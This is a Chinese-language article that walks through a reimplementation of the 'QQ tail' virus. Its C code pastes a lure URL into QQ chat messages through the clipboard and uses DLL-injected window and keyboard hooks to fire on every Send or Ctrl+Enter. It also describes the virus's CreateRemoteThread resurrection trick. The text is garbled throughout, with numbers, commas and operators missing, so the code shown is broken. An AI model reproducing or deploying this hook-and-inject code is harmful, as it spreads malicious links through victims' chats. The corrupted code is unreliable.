自
起
QQ尾巴病毒可以算是風光了一陣子
它利用IE的郵件頭漏洞在QQ上瘋狂傳播
中毒者在給別人發信息時
病毒會自動在信息文本的後邊添上一句話
話的內容多種多樣
總之就是希望信息的接收者點擊這句話中的URL
成為下一個中毒者
下面我將要討論的
就是QQ尾巴病毒使用的這一技術
由於病毒的源代碼無法獲得
所以以下的代碼全是我主觀臆斷所得
所幸的是效果基本與病毒本身一致
粘貼尾巴 首先的一個最簡單的問題是如何添加文本
這一技術毫無秘密可言
就是通過剪貼板向QQ消息的那個RichEdit
貼
上一句話而已
代碼如下
TCHAR g_str[] =
歡迎來我的小站坐坐
;
// 函數功能
向文本框中粘貼尾巴
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配內存空間
hMem = GlobalAlloc(GHND | GMEM_SHARE
sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr
g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 設置剪貼板文本
SetClipboardData(CF_TEXT
hMem);
CloseClipboard();
// 釋放內存空間
GlobalFree(hMem);
// 粘貼文本
SendMessage(hRich
WM_PASTE
);
}
鉤子
好了
那麼下面的問題是
這段文本應該在什麼時候貼呢?網上有一些研究QQ尾巴實現的文章指出
可以用計時器來控制粘貼的時間
類似這個樣子
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
這的確是一種解決的手段
然而它也存在著極大的局限性——計時器的間隔如何設置?也許中毒者正在打字
尾巴文本
唰
的出現了……
然而病毒本身卻不是這樣子
它能夠准確地在你單擊
發送
或按下Ctrl+Enter鍵的時候將文本粘貼上
年
月份我的一台P
曾經中過毒
由於系統速度較慢
所以可以很清楚地看見文本粘貼的時機
講到這裡
我所陳述的這些事實一定會讓身為讀者的你說
鉤子!——對
就是鉤子
下面我所說的正是用鉤子來真實地再現
QQ尾巴病毒
的這一技術
首先我對鉤子做一個簡要的介紹
已經熟悉鉤子的朋友們可以跳過這一段
所謂Win
鉤子(hook)並不是鐵鉤船長那只人工再現的手臂
而是一段子程序
它可以用來監視
檢測系統中的特定消息
並完成一些特定的功能
打個比方來說
你的程序是皇帝
Windows系統充當各省的巡撫
至於鉤子
則可以算是皇上的一個欽差
譬如皇帝下旨在全國收稅
然後派了一個欽差找到山西巡撫說
皇上有旨
山西除正常賦稅外
加收杏花村酒十壇
(
_
#……)正如皇帝可以用這種方法來特殊對待特定的巡撫一樣
程序員也可以用鉤子來捕獲處理Windows系統中特定的消息
問題具體到了
QQ尾巴病毒
上邊
就是我們需要一個鉤子
在用戶單擊了
發送
按鈕之後
粘貼我們的文本
我所實現的這段鉤子過程為(至於如何掛接這個鉤子
我會在稍後說明)
// 鉤子過程
監視
發送
的命令消息
LRESULT CALLBACK CallWndProc(int nCode
WPARAM wParam
LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕獲
發送
按鈕
if (p
>message == WM_COMMAND && LOWORD(p
>wParam) ==
)
PasteText(g_hRich);
return CallNextHookEx(g_hProc
nCode
wParam
lParam);
}
在此我對這個回調過程說明幾點
lParam是一個指向CWPSTRUCT結構的指針
這個結構的描述如下
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT
*PCWPSTRUCT;
這時候像我一樣的SDK fans也許會會心一笑這不是窗口回調的那四個鐵桿參數麼?如你所說的確是這樣你甚至可以使用switch (p>message) { /* */ }這樣的代碼寫成的鉤子函數來全面接管QQ窗口
g_hRich是一個全局變量它保存的是QQ消息文本框的句柄這裡之所以采用全局變量是因為我無法從鍵盤鉤子回調函數的參數中獲得這個句柄至於如何獲得這個句柄以及這個全局變量的特殊位置我會在稍後說明
CallNextHookEx是調用鉤子鏈中的下一個處理過程換了欽差就會說十壇杏花村酒本欽差已經替皇上收下了現在請巡撫大人把貴省正常的賦稅交上來吧(_#……)這是書寫鉤子函數中很重要的一個環節如果少了這一句那麼可能會導致系統的鉤子鏈出現錯誤某些程序也會沒有響應——事實上我在編寫這個仿真程序的時候QQ就當掉了幾回
你也許會問為什麼我捕獲的是WM_COMMAND消息這個原因讓我來用下面的SDK代碼(雖然QQ是用MFC寫的但是用SDK代碼才能說明WM_COMMAND和發送按鈕的關系)來說明
#define IDC_BTN_SENDMSG
//
發送
按鈕ID的宏定義
// QQ發送消息對話框回調過程·李馬偽造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg
UINT Msg
WPARAM wParam
LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
EndDialog(hDlg
);
break;
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_BTN_SENDMSG:
// 發送消息
break;
// 其它的命令按鈕處理部分
}
}
break;
// 其它的case部分
}
return
;
}
消息發送的整個過程是
當用戶單擊了
發送
按鈕後
這個按鈕的父窗口(也就是
發送消息
的對話框)會收到一條WM_COMMAND的通知消息
其中wParam的低位字(即LOWORD(wParam))為這個按鈕的ID
然後再調用代碼中發送的部分
這個過程如下圖
所以
在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標鉤子要有效得多
好了
現在這個鉤子已經可以勝利地完成任務了
但是請不要忘記
有更多的用戶更偏愛於用
Ctrl+Enter
熱鍵來發送消息
所以程序中還需要掛上一個鍵盤鉤子
// 鍵盤鉤子過程
監視
發送
的熱鍵消息
LRESULT CALLBACK KeyboardProc(int nCode
WPARAM wParam
LPARAM lParam)
{
// 捕獲熱鍵消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) <
&& lParam >=
)
PasteText(g_hRich);
return CallNextHookEx(g_hKey
nCode
wParam
lParam);
}
在這裡唯一要解釋的一點就是lParam >=
子句
很明顯這個if判斷是在判斷熱鍵Ctrl+Enter的輸入
那麼lParam >=
又是什麼呢?事實上在鍵盤鉤子的回調之中
lParam是一個很重要的參數
它包含了擊鍵的重復次數
掃描碼
擴展鍵標志等等的信息
其中lParam的最高位(
x
)則表示了當前這個鍵是否被按下
如果這個位正在被按下
這個位就是
反之為
所以lParam >=
的意思就是在WM_KEYDOWN的時候調用PasteText
也就是說
如果去掉這個條件
PasteText將會被調用兩次(連同WM_KEYUP的一次)
掛接鉤子和查找窗口
接下來就是如何掛接這兩個鉤子了
對於掛接鉤子
要解決的問題是
往哪裡掛接鉤子
以及如何掛接?
掛接鉤子的目標
肯定是QQ
發送信息
窗口的所屬線程
我的代碼就是將這個窗口的句柄傳入之後來進行鉤子的掛接
// 掛接鉤子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
DWORD dwThreadID = GetWindowThreadProcessId(hQQ
NULL);
// 感謝好友hottey的查找代碼
省去了我使用Spy++的麻煩
g_hRich = GetWindow(GetDlgItem(hQQ
)
GW_CHILD);
if (g_hRich == NULL)
return FALSE;
// 掛接鉤子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC
CallWndProc
g_hInstDLL
dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD
KeyboardProc
g_hInstDLL
dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
// 卸載鉤子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = NULL;
g_hKey = NULL;
g_hRich = NULL;
}
return bRet;
}
到此為止以上所有的代碼都位於一個Hookdll的動態鏈接庫之中關於DLL我就不多介紹了請查閱MSDN上的相關資料和本文的配套源代碼
DLL之中已經做好了所有重要的工作(事實上這部分工作也只能由DLL來完成這是由Windows虛擬內存機制決定的)我們只需要在EXE之中調用導出的SetHook函數就可以了那麼SetHook的參數如何獲得呢?請看以下代碼
// 感謝好友hottey的查找代碼
省去了我使用Spy++的麻煩
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL
g_hQQ
#
NULL);
hSend = FindWindowEx(g_hQQ
NULL
Button
發送(&S)
);
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
這段代碼中的do
while循環就是用來查找
發送消息
的窗口的
QQ窗口的保密性越來越強了
窗口一層套一層
找起來十分不便
所以在此感謝好友hottey的《QQ消息炸彈隨想》一文省去了我反復使用Spy++的麻煩
我所做的
只是把他文中的Delphi代碼翻譯成了C代碼
DLL的共享數據段
如果你對DLL不甚了解
那麼在你讀到我的配套源代碼之後
肯定會對下面這一段代碼有些疑問
// 定義共享數據段
#pragma data_seg(
shared
)
HHOOK g_hProc = NULL; // 窗口過程鉤子句柄
HHOOK g_hKey = NULL; // 鍵盤鉤子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker
/section:shared
rws
)
這定義了一段共享的數據段
是的
因為我的注釋已經寫得很清楚了
那麼共享數據段起到了什麼作用呢?在回答這個問題之前
我請你把代碼中以#開頭的預處理指令注釋掉然後重新編譯這個DLL並運行
你會發現什麼?
是的
添加尾巴失敗!
好了
我來解釋一下這個問題
我們的這個仿真程序的EXE
DLL以及QQ的主程序事實上是下面這樣一種關系
這個DLL需要將一個實例映射到EXE的地址空間之中以供其調用
還需要將另一個實例映射到QQ的地址空間之中來完成掛接鉤子的工作
也就是說
當鉤子掛接完畢之後
整個系統的模塊中
有兩個DLL實例的存在!此DLL非彼DLL也
所以它們之間是沒有任何聯系的
拿全局變量g_hRich來說
圖中左邊的DLL通過EXE的傳入獲得了文本框的句柄
然而如果沒有共享段的話
那麼右邊的DLL中
g_hRich仍然是NULL
共享段於此的意義也就體現出來了
就是為了保證EXE
DLL
QQ三者之間的聯系
這一點
和C++中static的成員變量有些相似
在鉤子掛接成功之後
你可以通過一些有模塊查看功能的進程管理器看一看
就會發現Hook
dll也位於QQ
exe的模塊之中
最後一些要說的
我是前說過
在
年的
月份我就碰到了這種病毒
至今我還很清楚地記得那個病毒EXE只有
KB大小
所以從病毒本身存在的性質來說
這個東西應該是用Win
ASM來寫會更實用一些
那個病毒我曾經是手殺的——用了一個進程查看工具就殺掉了
但是現在的
QQ尾巴
增加了復活功能——在EXE被殺掉後
DLL會將其喚醒
我曾經用我的進程查看工具分析過
發現系統中幾乎所有的進程都被病毒的DLL掛住了
這一技術是利用CreateRemoteThread在所有的進程上各插入了一個額外的復活線程
真可謂是一石二鳥——保證EXE永遠運行
同時這個正在使用中的DLL是無法被刪除的
這一技術我也已經實現了
但是穩定性方面遠不及病毒本身做得優秀
故在此也就不將其寫出了
有興趣的朋友可以參考Jeffrey Richter《Windows核心編程》的相關章節
走筆至此想起了侯捷老師《STL源碼剖析》中的一句話——
源碼之前
了無秘密
如果你看完本文之後也有這樣的感覺
那麼我將感到不勝榮幸
From:http://tw.wingwit.com/Article/program/net/201311/13091.html